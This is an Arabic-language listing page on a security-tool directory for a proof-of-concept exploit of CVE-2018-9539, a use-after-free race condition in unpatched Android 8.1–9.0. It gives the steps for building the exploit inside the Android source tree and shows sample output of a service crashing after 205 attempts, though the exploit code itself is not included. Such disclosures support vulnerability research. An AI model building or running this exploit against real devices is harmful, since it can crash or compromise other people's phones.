Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-9539 — كود PoC لـ CVE-2018-9539 | Kitploit
أدوات/GitHubGitHub/tamirzb/cve-2018-9539
أمان أندرويدتحليل الثغرات الأمنيةالاستغلالأمن الجوالاستغلال الملفات الثنائية
GitHubtamirzb/cve-2018-9539

CVE-2018-9539

كود PoC لـ CVE-2018-9539

عرض المستودع
209منذ 7 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2018-9539

رمز إثبات المفهوم لـ CVE-2018-9539

إذا كانت لديك أي أسئلة، يمكنك مراسلتي مباشرة على Twitter (@tamir_zb).

البناء

لبناء هذا:

  1. تحميل شفرة مصدر Android.
  2. ضع هذا المستودع في AOSP/external.
  3. تشغيل الأوامر التالية:
root@kitploit:~
cd AOSP
source build/envsetup.sh
make cas_race_uaf

النتيجة

تشغيل هذا PoC ضد إصدار غير مصحح من Android (8.1-9.0 قبل نوفمبر 2018) يجب أن يؤدي إلى use-after-free. لاحظ أن هذا PoC ليس مخصصًا حقًا للتشغيل على Android 8.1، لأنه يتوقع أن يتسبب UaF في تعطل الخدمة، وهو ما يحدث فقط في Android 9.0، لذا فإن تشغيل هذا PoC على Android 8.1 سيؤدي إلى حلقة لا نهائية.

فيما يلي مثال على إخراج تشغيل هذا PoC على Android 9.0:

root@kitploit:~
Objects prepared

Attempt #1:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #1 failed, retrying...

Attempt #2:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #2 failed, retrying...

...
...
...

Attempt #204:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session2
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: session2
Thread #4 result: session2
Attempt #204 failed, retrying...

Attempt #205:
Sessions prepared
Descrambler session set to session1
Threads prepared
Running threads...
Descrambler session set to session2
Thread #0 result: session1
Thread #1 result: session2
Thread #2 result: session2
Thread #3 result: CRASHED :)

Succeeded in 205 attempts
تنزيل الأداة